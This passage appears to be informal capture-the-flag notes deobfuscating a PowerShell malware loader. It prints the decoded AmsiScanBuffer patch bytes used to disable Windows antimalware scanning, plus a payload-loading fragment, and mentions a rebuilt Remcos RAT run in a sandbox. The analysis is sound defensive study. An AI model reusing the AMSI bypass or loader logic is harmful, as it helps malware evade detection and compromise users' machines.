"AmsiScanBuffer"

# Obfuscated via HTML decimal entity encoding
$([SYstem.Net.wEBUtIlITy]::HTmldecoDE('amsi.dll'))
# Decoded value:
"amsi.dll"

# Obfuscated via HTML decimal entity encoding with randomized capitalization
$([systeM.neT.webUtility]::HtMldECoDE('AmsiScanBuffer'))
# Decoded value:
"AmsiScanBuffer"

# Obfuscated byte array construction from separate variables
$TLML = "0xB8"
$PURX = "0x57"
$YNWL = "0x00"
$RTGX = "0x07"
$XVON = "0x80"
$WRUD = "0xC3"
$KTMJX = [Byte[]] ($TLML,$PURX,$YNWL,$RTGX,+$XVON,+$WRUD)
# Decoded value (reconstructed array):
[Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)

# Obfuscated and commented-out string (likely a CTF flag)
#$([systeM.neT.webUtility]::HtMldECoDE('flag{b313794dcef335da6206d54af81b6203}'))
# Decoded value:
"flag{b313794dcef335da6206d54af81b6203}"

Flag #1

For the 1st flag, we have this section decoded from spaghetti,

 try 
{
    [byte[]]$WULC4 = HombaAmigo($MainFileSettings.replace('WT','00'))
    #[byte[]]$WULC4 = HombaAmigo($MainFileSettings.replace('X','00'))
    [byte[]]$YIV4Z = HombaAmigo($RunRBTX1)
    $OKM4 = (FonatozQZ("01001100011011110110000101100100".Replace('0','0').Replace('1','1'))) # Decoded to 'Load'
    $x1ct = (FonatozQZ("01100101011110000110010101100011011101010111010001100101".Replace('0','1').Replace('1','0'))) # Decoded to 'execute'
    $Path  = $newDestination
    $Path2  = $Path
    $Path3  = ''
 
 So we know through the analsys from flag 2, we need to replace the WT values with 00 in AYGIW.tmp.
 
At 1 point we had all this done, and uploaded a working version of the remocs rat, but the stupid flag was jsut hidden

https://tria.ge/251002-rmwsgsxnv9/behavioral1

image.png

image.png